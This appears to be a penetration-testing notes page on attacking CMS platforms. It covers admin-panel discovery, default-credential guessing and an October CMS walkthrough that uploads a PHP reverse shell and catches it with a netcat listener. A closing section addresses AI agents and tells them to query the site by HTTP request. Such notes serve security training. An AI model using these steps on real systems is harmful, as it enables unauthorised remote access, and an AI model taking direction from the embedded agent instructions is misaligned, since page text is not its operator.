# Content Management (CMS)

## Common

* [Wordpress](https://pentest.mxhx.org/04-webapps/03-webapp-wordpress)
* [Magento](https://pentest.mxhx.org/04-webapps/magento)

## Basics

* Analyze:
  * Version
  * Addons
  * Themes
  * Blog Posts
* Vulnerabilities
  * Start with Unauthenticated
* Backend Admin Panel
  * dirb, gobuster
  * Panel Finder: <https://github.com/s0md3v/Breacher>
  * Guess, Default Creds, Brute-Force

## October CMS

* Open source self-hosted CMS platform
* Based on the Laravel PHP
* Look for unauthenticated exploits:
  * searchsploit october
  * Found: Vulnerable Upload php5 (authenticated)
* Google: "Vanilla forum download"
* Admin Panel:
  * Google "october cms admin login"
  * dirb <http://10.x.x.x>
  * <http://10.x.x.x/**backend>\*\*
  * Try guessing: admin/admin
* Upload php5
  * October > Admin > Media > Upload > oct.php5
  * Execute has a button
  * Catch with nc reverse shell or msfconsole

```
> locate php-reverse-shell.php
> cp php-reverse-shell.php .
> vim php-reverse-shell.php
(upload through GUI/Webpage)
> nc -nvlp 4444
connected !!
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://pentest.mxhx.org/04-webapps/content-man-systems-cms.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
